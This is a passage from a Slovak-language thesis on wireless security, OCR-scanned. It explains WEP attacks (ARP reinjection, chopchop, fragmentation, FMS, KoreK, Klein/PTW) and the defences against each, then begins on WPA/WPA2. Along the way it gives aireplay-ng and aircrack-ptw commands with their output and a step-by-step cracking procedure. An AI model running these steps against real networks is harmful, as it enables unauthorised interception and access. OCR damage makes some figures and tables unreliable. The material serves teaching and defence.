-b ... urcuje BSSID (MAC adresa AP),
-h ... urcuje zdrojovi MAC adresu, ktora sa ma pre vyslané ramce pouzit,

rausb0 je zariadenie pouzité na vyslanie ramca (musi byt v monitor mode).

Po zachyteni ramca, o ktorom sa predpoklada, ze je to ARP request, sa tento so
zmenenou hlavickou posle, generujuc tak od adresata skoro 300 ARP response (odpoved)
ramcov za sekundu, s novymi IV. Ak Ziadne ARP ramce nezachytime, mézeme si ich

skusit’ vynutit’ pomocou deautentifikacie (blizSie k tomuto v 6.4).

4.2.2 QOchrana voci reinjekcii

Podla IEEE S$tandardu nie je pre WEP zadefinovana ochrana voci reinjekcii
paketov. Niektoré zariadenia reinjekcii Ciasto¢ne zabranuju tym, ze IV prijatych rdmcov
si ukladaji do cache (vyrovnavacia pamit) aignoruju vSetky ramce srovnakym IV,
akonahle ich pocet presiahne istil hranicu (napriklad 64).

Pouzitie RSN (Robust Security Network, siet s robustnou bezpetnostou) (WPA/WPA2)
zabrani reinjekcii, pretoze neumozinuje znovupouzitie IV apomocou MIC je
zabezpecena aj hlavicka ramca. Alternativou méze byt Wireless IDS (vid'. 9.4).

Generovaniu  ARP prevadzky na sieti je mozné zabranit' statickymi ARP
tabulkami na vSetkych staniciach. To je vSak tazko manaZovatelné a zle skalovatelné

rieSenie.
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4.3 Zbieranie slovnika PRGA pomocou Shared-Key autentifikdcie

- AP l
%n} 1| hlavigka |0100] 0100 |0000] ————

-

T4, Fiadozt 0 autentifikaciu
+—— | hlavigka J0100]0200|0000] challenge| 2.
challenge
0100]0300]0000 ] challenge | — [16Y]
@
prid RC4 |
3_| hlavicka I I/ | #| Zadifrovand I ——— (dedifrovanie a porovnanie = challenge)

FESpOnse

+—— | hlavicka J0100]0400|0000] 4.

Kladné potvrdenie

obr. 4-2: Shared-Key autentifikacia

Priklad uspe$nej Shared-Key autentifikacie je na obr. 4-2. Standard uruje, Ze
challenge text (vjzva) ma mat’ dizku 128 znakov. Format challenge elementu v druhom
autentifikanom ramci je {Element ID, Length, Challenge Text}, kde Element ID je 10h,
Length 80h (128). Po odchyteni druhého rdmca a vypocte ICV teda pozname cely
plaintext (otvoreny text), ktory sa posiela zaSifrovany (ciphertext) v trefom ramci ako
response (odpoved’), konkrétne 6+2+128+4 = 140 bajtov. Po odchyteni treticho ramca
méame teda ,aplne zadarmo* pseudonahodnti sekvenciu (ciphertext @ plaintext) dizky
140 pre dané IV (zvoli STA).

Autentifikacia prebieha len pri nadvdzovani konektivity, mdéZeme si ju ale vynutit
sfalSovanou deautentifikdciou (vid. 3.1.1 atiez 6.4) avytvorit' si tak slovnik takej

velkosti, ako na konkrétny ucel potrebujeme.

4.3.1 Vvuzitie slovnika PRGA

Nazbieranu databazu dvojic {1V, prud PRGA} modzeme zneuzit' viacerymi
spdsobmi, bez toho aby sme poznali WEP kI'i¢:

e autentifikdcia do siete — mozeme sami pouzit PRGA prid (Pseudo-Random
Generation Algorithm, algoritmus generovania pseudonédhodnej postupnosti) a byt’ tak
autentifikovanym tcastnikom;

¢ injekcia/posielanie ramcov — mdzeme vyslat’ 'ubovolne zostrojeny ramec,
pretoze ho sami zaSifrujeme (vid'. aj 4.2);

e desifrovanie prijatych/zachytenych rdmcov — po vytvoreni dostatoCne
velkej databazy mdzeme deSifrovat’ velké mnozstvo ramcov, pripadne
vSetky ramce, ktorych data su kratSie ako 140 bajtov (takyto utok je

mozny, ale zdlhavy a v praxi sa nepouziva);
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o zvaGit dizku znameho prudu pomocou Arbaugh utoku (opisany dalej v

4.4) a vytvorit’ si tak lepSiu databazu.

4.3.2 Obmedzenie zbierania slovnika PRGA

Ak chceme zabranit' zneuzitiu Shared-Key autentifikacie, treba ju vypnit na
vSetkych zariadeniach. Bohuzial' niektoré ovladace nedokdzu mat’ zapnuté Sifrovanie
WEP a pri tom Open System autentifikiciu (otvoreny systém, prazdna autentifikécia).

Pouzitie RSN (WPA/WPA2) zabrani zneuzitiu slovnika, Sifrovaci kI'a¢ sa totiz
meni a nie je mozné znovupouzitie IV. Taktiez pri pouziti RSN sa robi Open System
autentifikcia, a nasledne az po asociacii autentifikacia pomocou EAPOL (Extensible

Authentication Protocol over LAN, rozsiritelny autentifikaény protokol cez lokalnu siet).

4.4 Indukcény utok Arbaugh

Tento utok publikoval William A. Arbaugh v maji 2001 v [9], umoziuje
ubovolne predizit’ znamy RC4 prad dizky N.

| Datain-3 | 1w |
@
[ RC4 privd [N) |

| zagifrované (M) |
1
[ hlavigka | v | DataiN-3) | 10wt x|

obr. 4-3: Induk¢ny utok Arbaugh

Z kratkych ramcov so znamym predpokladanym plaintextom (napr. ARP, DHCP
komunikacia) (Dynamic Host Configuration Protocol, protokol na dynamickt konfiguraciu ucastnikov
siete), alebo pomocou Shared-Key autentifikacie vieme ziskat’ N bajtov PRGA (RC4
pradu) pre dané IV. Mozeme potom zostrojit' ramec s datami dizky N-3, pre ktoré
vypocitame ICV a pripojime zneho iba 3 bajty — obr. 4-3. Pripojime d’alSi bajt
s hodnotou X a ramec vySleme.

V pripade, ze tento ramec AP preposle, resp. dostaneme na neho odpoved’ (ak sme
vyslali napriklad ICMP alebo ARP ramec), znamena to, Ze hodnota X je spravna.
N+1-vy bajt RC4 pradu potom vypocitame ako X xor 4. bajt ICV. Pre X existuje najviac
256 moznosti, teda na ziskanie jedného bajtu potrebujeme vyslat’ najviac 256 ramcov.
Ziskali sme teda spravnych N+/ bajtov RC4 pradu a indukénym spdsobom vieme

pokragovat’ az do pozadovanej dizky.
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4.4.1 Zlozitost utoku Arbaugh

Narocnost’ utoku je relativne nizka, ak potrebujeme ziskat RC4 prudy pre malé
mnozstvo IV — pri 100 ramcoch za sekundu vieme ziskat' prud dizky 2400 bajtov
(priblizne MTU (Maximum Transmission Unit, maximalna posielatelnd velkost jednotky))
priemerne za 50 minit, v najhorSom pripade za 256*2400/100 sekind (t.j. 1.7 hod). Pre
vytvorenie kompletného slovnika tento utok nie je vhodny. Prakticka implementacia nie

je znama, princip bol vSak vyuzity pre chopchop utok (d’alej v 4.5).

4.4.2 Obmedzenie utoku Arbaugh

Ochrana voc¢i Arbaugh tutoku je rovnakd, ako voci reinjekcii (vid. 4.2.2) —
potrebujeme zabranit opakovaniu IV a falSovaniu ramcov — pouzitim RSN
(WPA/WPA?2) alebo nestandardne pomocou zahadzovania ¢asto sa opakujicich ramcov

s rovnakymi [V na zariadeni.

4.5 KoreK chopchop

Koncept chopchop (,sek-sek*) ttoku bol zverejneny v septembri 2004 na fore
netstumbler.org spolu s proof-of-concept utilitou. Nazyva sa aj ,inverzny Arbaugh
utok“. Umoziuje desifrovat’ l'ubovolny zachyteny rdmec aktivnym iterativnym
spdsobom a ziskat’ tak jeho obsah (alebo aspon vécsinu jeho obsahu) a zaroven pouzity

RC4 prud pre dané IV.

4.5.1 Princip chopchop utoku

Moznost’ utoku spociva v linearite RC4 Sifrovania a CRC (ICV). Detailne je
popisany v baliku so zdrojovym kédom chopchop utility.

Odrezeme posledny bajt datovej casti rdmca, o ktorom predpokladame, Zze bol
napriklad 0, prepocitame ICV, a ramec (o 1 bajt kratsi ako povodny ramec s nezndmym
obsahom) vysleme. Ak ho AP preposle, znamend to, Ze nas predpoklad bol spravny
a pokracujeme iterativne. Ak nie, vyskuSame d’alSiu moznost’.

Niektoré druhy ramcov nie je mozné deSifrovat’ celé, pretoze po dosiahnuti malej
dizky prestanti davat’ zmysel a nedostaneme Ziadnu odozvu.

Aby cely proces bezal rychlejsSie, nebudeme cakat’ po kazdom ramci na odozvu,
ale ocislujeme rdmce pomocou cielovej MAC adresy — podla nej po spédtnom prijati
ramca potom vieme, ktory bajt a na ktorom mieste bol spravny. KratSie ramce tak

mozeme desifrovat’ za niekol’ko sekund (vid'. dalej).
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4.5.2 Realizacia chopchop utoku

Pomocou monitorovacieho rezimu zachytime kratky zasifrovany ramec. Pévodna
KoreK-ova proof-of-concept chopchop utilita je hardvérovo zévisla (pouzité ovladace
linux-wlan-ng pre PrismlI chipset) a preto nefungovala. Utok chopchop vsak podporuje

aj balik Aircrack-ng, pomocou utility aireplay-ng. Priklad spustenia:

# ./aireplay-ng -4 -b 00:11:3b:07:00:14 -h 00:17:31:ba:ef:e4 -r x.cap rausb0
... (vypis ramca z x.cap, je to zasifrovany ARP request)

Use this packet ? vy

Saving chosen packet in replay src-0505-171500.cap

Offset 85 ( 0% done) | xor = 4E | pt = 88 | 307 frames written in 923ms
Offset 84 ( 1% done) | xor = 95 | pt = A3 | 315 frames written in 943ms
Offset 83 ( 3% done) | xor = C4 | pt = FO | 105 frames written in 315ms
... (postupny vypis vSetkych bajtov)

Offset 34 (98% done) | xor = 2F | pt = 08 | 210 frames written in 629ms

Saving plaintext in replay dec-0505-181002.cap
Saving keystream in replay dec-0505-181002.xor

Completed in 32s (1.50 bytes/s)

-4 urcuje typ utoku (KoreK chopchop),

-b ... urcuje BSSID (MAC adresa AP),

-h ... urcuje zdrojovi MAC adresu, ktora sa ma pre vyslané ramce pouzit,
-r ... urcuje pcap subor, z ktorého sa ma nacitat’ zasifrovany ramec,

rausb0 je zariadenie pouzité na vyslanie ramca (musi byt v monitor mode).

Desifrovany ramec aireplay-ng ulozi do nového pcap suboru a navyse ziskame
jednu RC4 sekvenciu (.xor stbor), ktort mézeme pouzit’ napriklad na injekciu ramcov
(vid. 4.2) apod. Navyse je utok beznym pouzivatelom nespozorovany, pretoZze ramce

s nespravnym ICV sa zahodia.

4.5.3 Obmedzenie chopchop utoku

Ako uz bolo spominané vyssie v 4.2.2 Ochrana voci reinjekcii, 4.4 Indukény utok
Arbaugh, snahou je zamedzit' opakovany vyskyt vel'kého mnozstva ramcov s rovnakym

IV — je to sice nestandardizovany spdsob, ale funguje efektivne. Niektoré AP nie su
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voc¢i tomuto utoku nachylné vd’aka zahadzovaniu ramcov kratsich ako 60 bajtov, ostava
vsak moznost’ desifrovat’ koniec va¢sich ramcov.
Pouzitie RSN uplne zabrani tomuto Utoku, pretoze nie je mozné opakovat IV.

Alternativou méze byt’ Wireless IDS (vid'. 9.4).

4.6 Fragmentacny utok

V septembri 2005 predstavil Andrea Bittau v [10] prakticky fragmentacny utok.

Utoénik

AP
To DS: 1 @ -

From OS: 0 e

fragment O hlavicka | & | Datad | 1030 | ——

fragment 1| hlavicka | & | Datat | 1ov1 | ——

posledni fragment| hlavicka | & | Datal | 1Cvn | — Ta DS O

From D5 1
——— | hlavitka | W' | Datal [Datal| .. | DataW | 1ov' ]

obr. 4-4: Fragmentacny utok

Jeho princip spociva prave v defragmentécii. Ak vySleme K fragmentovanych
ramcov (K=N+1 podla obr. 4-4) do distribu¢ného systému, AP tieto fragmenty pospaja
a posle v jednom ramci (az do velkosti svojej MTU, resp. MTU pouzitého protokolu
vyssej vrstvy).

Ked je na sieti pouzity WEP, jednotlivé ramce zaSifrujeme pomocou znamej
dvojice {1V, RC4 prud} do distribu¢ného systému (To DS bit=1). AP ich defragmentuje,
zaSifruje pomocou 7V, a ak cielova MAC adresa nie je uréena pre inu siet, posle nazad
(From DS bit=1, do vzduchu pre znameho alebo neznameho adresata), ako je naznacené
na obr. 4-4. Plaintext zaSifrovaného defragmentovaného rdmca sme vSak zvolili my
(Data0 az DataN), ateda vieme hned’ urcit’ novoziskanu dvojicu {1V, dlhsi iny RC4
prud,.

Jednou z utilit, ktoré fragmentacny utok implementuji, je aireplay-ng z balika
Aircrack-ng, a to s parametrom -5. Vytvara ramce dlhé 35 bajtov (s 3 bajtami dat na
ramec). Pouzity AP vSak odmietol takéto kratke fragmenty skombinovat’, a preto utok
nezafungoval — bolo by nutné utilitu upravit’ pre pouzitie dlhsich fragmentov, o ale

znamena potrebu dlhsieho zndmeho plaintextu a cely koncept tym straca zmysel.

4.6.1 Vvhody fragmentacného utoku

Tento utok je ovela efektivnejsi ako Arbaugh alebo chopchop (opisané v 4.4 a

4.5), pretoze nepotrebuje posielat’ skusmo neplatné ramce. Teoreticky umoziuje uz s 5
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znamymi bajtami PRGA (1 bajt pre data a 4 pre ICV) poslat’ l'ubovol'ne dlhy ramec.
V beznej prevadzke vieme pomerne spolahlivo odhadnit’ az 7-16 bajtov plaintextu,
ateda aj PRGA — podrla velkosti rdmca urcime protokol vyssej vrstvy a podla MAC
adries z hlavicky rdmca mézeme odhadnut’ niektoré z poli hlavicky protokolu vyssSej
vrstvy (ARP, ICMP, IP, ...).

Ziskané pseudonahodné sekvencie mdzeme potom pouzit na injekciu ramcov
(vyssie v 4.2), pripadne zostavenie kompletného PRGA slovnika (odhadom 1 deni

floodovania).

4.6.2 Obrana vodi fragmentaénému utoku

Ako uz bolo spomenuté vysSie, AP a stanice, ktoré neprijimaju kratke fragmenty,
nie su nachylné vodi tomuto utoku. Daldou obranou je obmedzenie opakovania sa IV
(vid’. aj 4.2.2 Ochrana voci reinjekcii) bud’ zahadzovanim casto sa opakujucich ramcov

s rovnakym IV, alebo pouzitim RSN (vid’. kapitola 5. WPA a WPA?2).

4.7 FMS

V juli 2001 v praci [11] Fluhrer, Mantin, Shamir (odtial’ nazov utoku) ukazali, ze
algoritmus RC4 je slaby tym, ze pren existuji semiacka, pri ktorych s istou
pravdepodobnost'ou niektory bajt zo semiacka sa prenesie do prvého bajtu vystupného
pradu. Semiacko pre RC4 PRNG je zostrojené ako IV || kIu¢ (vid. obr. 4-1); také IV,
ktoré daju vystup odhalujuci bajty kl'uca, nazyvame ,slabé“. Na zaklade zachytenych
dvojic {slabé 1V, 1. bajt RC4 prudu} je potom mozné prehl'adavanim podla
Statistického vyskytu zistit’ pouzity tajny kl'ac.

4.7.1 Slabé IV

Implementacia RC4 vo WEP mé podl'a FMS slabé 1V:

K+3 | N-1 | X

kde K je poradie bajtu tajného kl'uca (Cislované od 0), ktory moze byt tymto IV
exponovany, N je vel'kost’ stavového pola, tu 256, a X je 'ubovolny bajt. Kazdé takéto
IV ma priblizne 5% Sancu, Ze prenesie K-ty bajt tajného klI'i¢a do prvého bajtu vystupu
PRNG. Pri pouziti 64-bit WEP, ktory ma 40-bitovy tajny kI'a¢ su slabé IV konkrétne (v
hexadecimalnom tvare):

03FF??, 04FF??, 05FF??, 06FF??, 07FF??
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Pri pouziti 128-bit WEP so 104-bitovym tajnym kl'icom su to:

03FF??, 04FF??, 05FF??, 06FF2?, 07FF2?2, ..., OFFF??

Neskor (september 2003) Andrea Bittau v [12] dokazal pre FMS utok aj d’alSie,

trochu zlozitejSie skupiny slabych IV, ktoré maji priblizne 13% Sancu na odhalenie

jedného bajtu vystupu:
P | Q| K-2 pre P+Q=1 mod 256, K € {2, 3,4, ... 12}
P | Q| K-1 pre P+Q=1 mod 256, K=0

P | Q| 254-K pre P+Q=254-K mod 256, K € {0, 2, 3,4, ... 12}
Pre 128-bit WEP su to:

ppaqg00, ppaqgll, ..., ppaqOA, pre pp+tqq = 01h mod 256
PPAqFF, pre pp+tqq = 01h mod 256
ppaqF2, ppqgF3, . . ., ppaqFC, ppggFE, pre pp+qq <= 0Ch mod FF

Spolu teda existuje 9472 slabych IV pre 128-bit WEP, o je priblizne 0.0565% zo
vSetkych moznych IV. Pre 64-bit WEP existuje 3328 slabych IV, ¢o je priblizne
0.0198% zo vSetkych moznych IV. Potrebujeme ich vSak zachytit’ iba 5/13 z mnoZstva
potrebného pre prelomenie 128-bit WEP. Na prelomenie 64-bit WEP aj 128-bit WEP

teda treba priblizne rovnaky pocet rdmcov.

4.7.2 Implementacia FMS utoku

Programy Airsnort, Aircrack-ng, a mnoho dalich, umoznuju utok na WEP
pomocou FMS metddy. Jedna sa o pasivny Gitok v monitorovacom rezime, nie je ho teda
mozné spozorovat. Nazbieranie dostato¢ného mnozstva ramcov s rdéznymi IV vSak
moZe na sieti s nizkou prevadzkou trvat’ niekol’ko hodin, preto sa na urychlenie mézu
pouzit’ aktivna reinjekcia ramcov alebo fragmentacny utok (opisané vyssie v 4.2 a 4.6).

Na tuspeSné zistenie Sifrovacieho kIica pomocou FMS utoku je potrebnych
niekol’ko sto zachytenych ramcov so slabym IV. Celkovy pocet Sifrovanych ramcov
potrebnych na prelomenie WEP pomocou FMS je okolo 1 milidéna, ¢o pri sietach so
silnou prevadzkou, alebo pouzitim agresivnej ARP reinjekcie je mozné dosiahnut’ na

IEEE 802.11b aj g sietach (dolezitd je odozva, nie prenosova rychlost’) do 30 minut.
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4.7.3 Obrana vo¢i FMS utoku

Voc¢i FMS utoku pri pouziti WEP boli pre vylepSenie Standardu IEEE 802.11
navrhnuté viaceré varianty:
e Vylucenie slabych IV — vSetky zariadenia musia pouzivat’ vylu¢ne ,,silné*
IV, jediné zariadenie na sieti, ktoré posiela slabé 1V, kompromituje cela
siet’. Niektori vyrobcovia toto na svojich zariadeniach implementovali,
firma Agere Systems tuto proprietarnu technolégiu nazvala WEPplus
(WEP+).
e Vynechanie prvych 256 bajtov z vystupu PRGA — toto rieSenie bolo

zavrhnuté z dovodu nemoznosti implementécie na existujucom hardvéri.

RieSenie, ktoré¢ bolo Standardizované, je pouzitie RSN — TKIP na existujucich
zariadeniach, CCMP pre nové zariadenia (vid. 5 WPA a WPA2). V TKIP su pouzit¢ IV
,siné*“ a kI'ai¢ pre RC4 PRNG nie je staticky, ale sa stale meni, preto FMS utok nie je
mozny.

Vylucenie slabych IV je mozné urobit’ aj upravou ovladacov ku sietovej karte.
Pre open-source ovladace to nie je tazké, problém je zabezpecit’ takito ,,ru¢nu* upravu
pre ovladace dodavané k OS Windows a pre firmware na AP. V d’al$ej Casti je vsSak

opisany podobny utok, ktory takuto snahu o proprietarne zabezpecenie rusi.

4.8 KoreK

V auguste 2004 na fore netstumbler.org publikoval KoreK novy spdsob lamania
RC4 algoritmu, ato zameranim sa nie na konkrétne hodnoty IV, ale na to, akym
spoésobom je ovplyvneny Key Scheduling algoritmus (KSA). V praci [13] Rafik
Chaabouni detailne popisal 17 KoreK utokov na KSA. Vela znich dava falo$né

pozitiva (viac ako FMS), preto je nutné viac overovania desifrovanim ramcov.

4.8.1 Implementacia KoreK utoku

Postupne od zverejnenia bol KoreK utok (o je vlastne viacero KoreK utokov,
ktoré ,hlasuja“ o vysledku pre jednotlivé stavy KSA) implementovany do vsetkych
programov, ktoré lamu WEP pomocou FMS. Airsnort verzia 0.2.7¢ (obr. 4-5) robi
FMS a KoreK utoky paralelne a zobrazi vysledok ztoho vldkna, ktoré ho doda skor.
Aplikacia je intuitivna (staci spustit), pouzité sietové karty bolo potrebné uviest do

monitorovacicho rezimu manudlne.
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obr. 4-5: Airsnort

4.8.2 Uspesnost FMS/KoreK utoku

Pri vSetkych zostrojenych pokusoch sa tuspesne podarilo najst Sifrovaci kl'uc.
Simulovand prevadzka bola zamerand na maximaliziciu poctu paketov a teda
nazbieranych IV, pomocou flood ping-u, ktory na 11Mbit/s sieti (ad-hoc) generuje
okolo 100 000 paketov za minutu (obojsmerne), na 54Mbit/s okolo 125 000 paketov za
minutu. Ked'ze flood ping moze byt zneuzity na zahlcovanie, je nutné ho v OS

GNU/Linux spustit’ s root pravami:

# ping 10.1.8.43 -f

KoreK utok je rovnako ako FMS pasivny, urCeny len na zistenie tajného kluca.
Ak by bola prevadzka na skutoc¢nej sieti nizka, mézeme ju zvysit' aktivnym Gtokom —
reinjekciou alebo fragmentacnym utokom, ¢im moZeme dosiahnut takmer polovicu
prevadzky simulovanej flood pingom (jednosmerne, v smere od utocnika idu totiz

ramce s opakujicimi sa IV).

celkovy €as na - . o slabych IV
prelomenie paketov | Sifrovanych| unikatnych IV pre FMS
_____ 2mind0sek | 268351 | 266704 | 26365 | 61 |

2min 45sek 234186 232737 230238 351
2min 48sek 267629 265997 254014 145
2min 50sek 266771 265145 263094 111
2min 51sek 267981 266339 264032 62
2min 52sek 268439 266788 263905 116
,,,,, 2minBbsek | 267660 | 266018 | 263364 | 147 |
,,,,, 2minbBsek | 268390 | 266739 | 263969 | 49 |
_____ 3minOdsek | 269276 | 267505 | 264007 | 602 |
3min 07sek 276817 275048 263854 98
3min 14sek 287278 285391 263907 299
4min 10sek 313459 310887 263746 339
5min 36sek 537704 534421 527743 57
5min 45sek 539790 536435 527727 97

tab. 4-1: Utoky na 64-bit WEP pomocou Airsnort na 11 Mbit/s ad-hoc sieti
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celkovy ¢as na .. , Lo slabych IV
prelomenie paketov | Sifrovanych| unikatnych IV pre FMS
2min 50sek 271407 269966 267497 110
2min 50sek 271616 270218 267539
2min 50sek 271634 270277 267418

308796

267545

324545
5min 45sek 545589 534703
5min 45sek 546294 534514
5min 50sek 546171 534954
5min 50sek 546504 533998

tab. 4-2: Utoky na 128-bit WEP pomocou Airsnort na 11 Mbit/s ad-hoc sieti

celkovy ¢as na .. , Lo slabych IV
prelomenie paketov | Sifrovanych| unikatnych IV pre FMS
,,,,, 2min 25sek | 299211 297856 265375 | 352 |
,,,,, 2min 35sek | 308054 306198 264498 | 131 |
2min 41sek 294213 292679 265335 111
2min 45sek 331572 329972 264872 743
2min 51sek 337028 335397 269117 345

tab. 4-3: Utoky na 128-bit WEP pomocou Airsnort na 54 Mbit/s infrastruktarnej sieti

V tab. 4-1, tab. 4-2 a tab. 4-3 st zapisané pocty ramcov (Airsnort to nekorektne
nazyva paketmi) potrebnych na zistenie Sifrovacieho kl'i¢a pre viaceré pokusy. KoreK
utok nerozliSuje silné aslabé IV ale pracuje shodnotami v KSA, preto pocet
zachytenych slabych IV nie je dolezity tdaj.

Vd'aka silnej prevadzke sa podarilo kI'a¢ zistit' vzdy maximalne do 6 minit. Pri
slabej prevadzke na sieti by tento utok trval niekol’ko hodin, ak by sme vSak pouzili
ARP reinjekciu (vid. 4.2.1) s rychlost'ou okolo 500 paketov/sek, vieme potrebnych 500
tisic ramcov nazbierat’ do 17 minut. Ak mame Stastie, postaci na prelomenie 250 tisic
ramcov (vid’. tabulky vysSie), ¢o vdaka ARP reinjekcii nazbierame za menej ako 9

minut na sieti, ktord mohla mat’ takmer nulova prevadzku.

4.8.3 Obrana voci KoreK utoku

Pre KoreK utok neexistuji konkrétne hodnoty slabych IV tak ako pri FMS, nie je
teda mozné ich jednoducho vylucit’.

Vhodnou obranou je pouzitic RSN (WPA/WPA?2).

4.9 Kleinov utok

Andreas Klein na prednaske [14] v jani 2005 uviedol, a potom vo februari 2006 v
[15] podrobne popisal novy druh Gtoku na RC4 Sifru zamerany na celé stavové pole

KSA. Vaprili 2007 Erik Tews, Ralf-Philipp Weinmann, a Andrei Pyshkin v [16]
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popisali prakticku implementéaciu tohoto utoku pre WEP a zverejnili proof-of-concept

utilitu aircrack-ptw.

LLC hlavicka ARP hlavicka ARF telo
Jaa]aa oz |00 00 ooos o600 01]08 00|06 | 04 (00 01] et 2277 22.27| FE:FF:FF:FF:FF:FF [72.77 72 77|
sender MAC sender [P target MAC target IP

request

reply
\ sendar MAC gender [P target MAC target IP
|aalan] oz [o0 o0 oojos 06]00 01]08 00[ 06 | 04 [00 02wy vy vy vy vy e e 22 22 MG | P 27 97.77]

LLC hlavicka ARP hlavicka ARP telo

obr. 4-6: PrenaSané data pre ARP request/reply ramce

Utok vyzaduje pre 128-bitové WEP poznat’ prvych 16 bajtov plaintextu, ¢o je
mozné pri ARP ramcoch (obr. 4-6). ARP request a reply sa liSia na 16. bajte, ale 'ahko
ich odlisime podl'a cielovej MAC v IEEE 802.11 hlavicke, ktord je nezaSifrovand —
request je posielany ako broadcast. Pomocou MAC adries vieme urcit’ alebo odhadnut’
aj dalSie bajty plaintextu (MAC adresa odosielatel'a, IP adresa odosielatela, MAC
adresa ciela, IP adresa ciel’a), pre utok ale postacuje prvych 16.

Pri 40000 nazbieranych zaSifrovanych ARP ramcoch vieme urCit tajny kIaé

s pravdepodobnostou 50%, pri 85000 ARP ramcoch s pravdepodobnostou 95%.

4.9.1 Realizacia Kleinovho utoku

Kleinov utok je mozné realizovat' ako pasivny, ale ARP prevadzka na beznych
sietach je taka nizka, Ze by mohol trvat’ niekol’ko dni. Preto je efektivnejSie realizovat’

ho ako aktivny utok, a to nasledovne:

1. monitorovat’ prevadzku pomocou wireshark alebo Aircrack-ng;

2. spustit’ ARP reinjekciu pomocou aireplay-ng -3 (popisané v 4.2.1);

3. pockat na prirodzeny ARP paket, alebo vynitit si ho pomocou
deautentifikacie (vid'. 6.4);

4. pockat, kym sa reinjektuje dostatocné mnozstvo ARP paketov a ulozit
zachytenl premavku do pcap suboru;

5. spracovat’ ulozeny pcap subor pomocou aircrack-ptw:
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$ ./aircrack-ptw many-arps.cap
This is aircrack-ptw 1.0.0

For more informations see http://www.cdc.informatik.tu-darmstadt.de/ aircrack-ptw/

allocating a new table

bssid = 00:11:3B:07:00:14 keyindex=0

stats for bssid 00:11:3B:07:00:14 keyindex=0 packets=25989
Found key with len 13: 74 65 73 74 74 65 73 74 74 65 73 74 31

Samotny vypocet trva okolo sekundy na P4 2.6 GHz. Nazbierat 85000 ARP
ramcov je mozné do 3 minat pri 500 ramcoch/sek. V pokuse sa podarilo zistit' 104-
bitovy kI'ai¢ uz pomocou 26000 ramcov, nazbieranych za 100 sekind. Praca [16] mé uz
v nazve lamanie WEP za menej ako 60 sekind, Co je sice trochu zavadzajuce, ale je to

mozné realizovat’.

4.9.2 Ochrana voci Kleinovmu utoku

Utoku je mozné Giplne zabranit’ jedine zabranenim posielania ramcov so znamym
zadiatkom plaintextu. Cisto pasivne Utoky moZeme minimalizovat’ pomocou statickych
tabulieck na vsetkych staniciach, ¢o je ale tazko manazovatelné a zle skalovatelné
rieSenie. Aktivny uto¢nik vSak moéze injektovat’ vlastny ARP rédmec zostrojeny
pomocou RC4 prudu ziskaného inym spdsobom (vid. 4.3 Zbieranie slovnika PRGA
pomocou Shared-Key autentifikacie, 4.5 KoreK chopchop, 4.6 Fragmentacny utok).
Takuto injekciu je mozné obmedzit’ pomocou zahadzovania opakovanych IV (vid'. 4.2.2
Ochrana voci reinjekcii) alebo utok odhalit’ pomocou Wireless IDS.

Odporacanym rieSenim je pouzitie RSN (WPA/WPA2), ktoré Kleinov utok

znemozni.
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5. WPA a WPA2

Pre vyrieSenie problémov suvisiacich s WEP bolo navrhnuté TEEE 802.11i [4],
ratifikované v juni 2004. Definuje Robust Security Network (RSN) s odporucanym
TKIP (Temporary Key Integrity Protocol, protokol s integritou doc¢asnych klicov) a CCMP (CCM,
Counter-Mode/Cipher Block Chaining-Message Authentication Code, pocitadlovy mod s autentifikaciou
spravy retazenim blokov 3ifier, publikovany ako NIST SP800-38C [5]). Situaciu s prelomenym
WEP ale bolo treba urychlene riesit' uz v roku 2001, preto aliancia Wi-Fi publikovala
WPA (Wi-Fi Protected Access), ktoré je vlastne ¢astou 802.11i.

5.1 Specifikdacia WPA/WPA2

WPA umoziuje autentifikaciu a vymenu kl'aicov pomocou IEEE 802.1x (pouziva
EAP), Sifrovanie a zabezpecenie integrity spravy pomocou TKIP alebo CCMP (AES).
WPA2? je zalozené uz na hotovom $tandarde 802.111 a urcuje nutnost’ pouzivat CCMP.

Pouziva sa hierarchia kl'a¢ov:

e Pairwise Master Key (PMK) — (hlavny parovy kla¢) tajny kl'u¢ medzi AP
akazdou STA (v pripade ,personal verzie je to spolo¢ny Pre-Shared
Key), jeho poznanie sa dokazuje pri autentifikacii pomocou 4-cestného
EAPOL (802.1x);

o Pairwise Transient Key (PTK) — (prechodny parovy krag) klu¢ derivovany
z PMK a hodndét Nonce pouzitych pri autentifikacii, pouzije sa v danom
sedeni (session) na vytvaranie kI'icov pre Sifrovanie a autentifikaciu;

o Group Transient Key (GTK) — (prechodny skupinovy kIi¢) urceny pre
vsetky stanice na deSifrovanie broadcast komunikécie;

o FAPOL-Key Encryption Key (KEK) a EAPOL-Key Confirmation Key
(KCK) — kI'i¢e pre prenos kI'iCov cez EAPOL (k¢ na sifrovanie kluca; kPag
na potvrdzovanie kI'i¢a) — derivované z PTK;

o Temporal Key (TK) — (dotasny kru¢) kIa¢ (kIace) pre Sifrovanie a
zabezpecCenie integrity jedného datového ramca — derivované z PTK a

pocitadiel ramcov.

Odporucania pre pozitie WPA a WPA2 su v tab. 5-1. Vsade, kde je to mozné, by
sa malo pouzivat WPA2 — CCMP (AES).
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pouZzitie WPA WPA2
Enterprise Autentifikacia: IEEE 802.1¥EAP  |Autentifikacia: IEEE 802.1XEAP
- viadne institticie, firmy, Skolstvo | Sifrovanie: TKIP/MIC Sifrovanie: AES-CCMP
Personal Autentifikacia: PSK Autentifikacia: PSK
- domécnost, mala firma Sifrovanie: TKIP/MIC Sifrovanie: AES-CCMP
tab. 5-1

5.1.1 IEEE 802.1x/EAP

Na autentifikaciu a vymenu kl'icov je v IEEE 802.11i uréeny 4-cestny handshake
pomocou EAPOL — EAP over LAN sprav (Extensible Authentication Protocol over LAN,
rozdiritelny autentifikaény protokol cez lokalnu siet), ktoré definuje Standard IEEE 802.1x,
zalozeny na EAP (RFC 2284, 3748) (Extensible Authentication Protocol, rozsiritelny
autentifikaény protokol). Vymena kIi€ov sa robi spolu s autentifikaciou ihned’ po asociacii
stanice, a tieZ pri poziadavke stanice o STA-to-STA (stanica stanici) komunikaciu s inou
stanicou. Samotnu autentifikdciu nemusi robit AP, ale moze na tento ucel pouzit
centralizovany RADIUS server (Remote Authentication Dial In User Service, protokol na
autentifikiciu pouzivatelov) — s nim komunikuje tiezZ pomocou IEEE 802.1x.

Typy EAP, ktoré Wi-Fi aliancia testuje a certifikuje pod WPA a WPA2 pre
Enterprise (korporatne) pouzitie (program ,Extended EAP®, ktory bude o niekolko

mesiacov zrejme povinny pre certifikdciu WPA2), si:

e FAP-TLS — Extensible Authentication Protocol Transport Layer Security
(bezpecnost transportnej vrstvy) (pOvodne jediny testovany typ),

o FAP-TTLS/MSCHAPv2 — EAP-Tunneled TLS/Microsoft Challenge
